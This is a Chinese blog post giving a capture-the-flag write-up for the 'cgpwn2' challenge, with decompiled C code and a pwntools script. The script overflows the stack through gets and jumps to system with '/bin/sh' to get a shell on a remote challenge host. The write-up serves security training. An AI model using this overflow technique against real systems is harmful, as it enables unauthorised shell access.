当前位置:网站首页>PWN攻防世界cgpwn2
PWN攻防世界cgpwn2
2022-07-01 19:31:00 【Day-3】
首先,查看文件的相关内容。
丢入IDA中查看代码。
main函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
hello();
puts("thank you");
return 0;
}
hello函数
char *hello()
{
__int16 *p_s; // eax
char v1; // bl
unsigned int v2; // ecx
__int16 *v3; // eax
__int16 s; // [esp+12h] [ebp-26h] BYREF
int v6; // [esp+14h] [ebp-24h] BYREF
p_s = &s;
v1 = 30;
if ( ((unsigned __int8)&s & 2) != 0 )
{
s = 0;
p_s = (__int16 *)&v6;
v1 = 28;
}
v2 = 0;
do
{
*(_DWORD *)&p_s[v2 / 2] = 0;
v2 += 4;
}
while ( v2 < (v1 & 0x1Cu) );
v3 = &p_s[v2 / 2];
if ( (v1 & 2) != 0 )
*v3 = 0;
puts("please tell me your name");
fgets(name, 50, stdin);
puts("hello,you can leave some message here:");
return gets((char *)&s);
}
我们可以在name中留下字符串“/bin/sh”,然后再进行栈溢出,获取shell。
编写exp:
from pwn import *
context(os='Linux',arch="x86",log_level="debug")
bin_sh_addr = 0x0804A080
elf = ELF('cgpwn2')
system_addr = elf.plt["system"]
content = 0
def main():
global day3
if content == 1:
day3 = process("cgpwn2")
else:
day3 =remote("111.200.241.244",64520)
payload = b'a' * (0x26 + 4) + p32(system_addr) + b'aaaa'
payload = payload + p32(bin_sh_addr)
day3.recvuntil("please tell me your name\n")
day3.sendline("/bin/sh")
day3.recvuntil("hello,you can leave some message here:\n")
day3.sendline(payload)
day3.interactive()
main()
最后得到Flag。
边栏推荐
- How to turn off the boot auto start software in win11
- 关于一个神奇函数的用法
- leetcode刷题:栈与队列05(逆波兰表达式求值)
- 在技术升级中迎合消费者需求,安吉尔净水器“价值战”的竞争之道
- Myslq ten kinds of locks, an article will take you to fully analyze
- Use Zadig to build a continuous delivery platform from 0 to 1
- Common components of flask
- PHP gets the external chain address of wechat applet and applet store
- Exclusive news: Alibaba cloud quietly launched RPA cloud computer and has opened cooperation with many RPA manufacturers
- Error in installing sharp
猜你喜欢
升级版手机检测微信工具小程序源码-支持多种流量主模式
Learn white box test case design from simple to deep
基于图的 Affinity Propagation 聚类计算公式详解和代码示例
2022安全员-B证考试练习题模拟考试平台操作
目标检测——Yolo系列
【Leetcode】最大连续1的个数
How to create a pyramid with openmesh
On the next generation entrance of the metauniverse -- the implementation of brain computer interface
Kuberntes云原生实战一 高可用部署架构
柒微自动发卡系统源码
随机推荐
Is it safe to open an account online? Can a novice open a stock trading account.
PHP获取微信小程序和小程序商店外链地址
[Blue Bridge Cup web] analysis of the real topic of the 13th Blue Bridge Cup web university group match in 2022
Develop those things: easycvr cluster device management page function display optimization
三菱PLC FX3U脉冲轴点动功能块(MC_Jog)
Importance of EDA tools to chip industry knowledge popularization
芭比Q了!新上架的游戏APP,咋分析?
想请教一下,券商选哪个比较好尼?本人小白不懂,现在网上开户安全么?
王者战力查询改名工具箱小程序源码-带流量主激励广告
Simple but modern server dashboard dashdot
Review notes of Zhang Haifan in introduction to software engineering (Sixth Edition)
编译原理复习笔记
合成大西瓜小游戏微信小程序源码/微信游戏小程序源码
渗透工具-TrustedSec 公司的渗透测试框架 (PTF)
【级联分类器训练参数】Training Haar Cascades
人才近悦远来,望城区夯实“强省会”智力底座
Kuberntes云原生实战一 高可用部署架构
Develop those things: easycvr platform adds playback address authentication function
On the next generation entrance of the metauniverse -- the implementation of brain computer interface
Powerful, easy-to-use, professional editor / notebook software suitable for programmers / software developers, comprehensive evaluation and comprehensive recommendation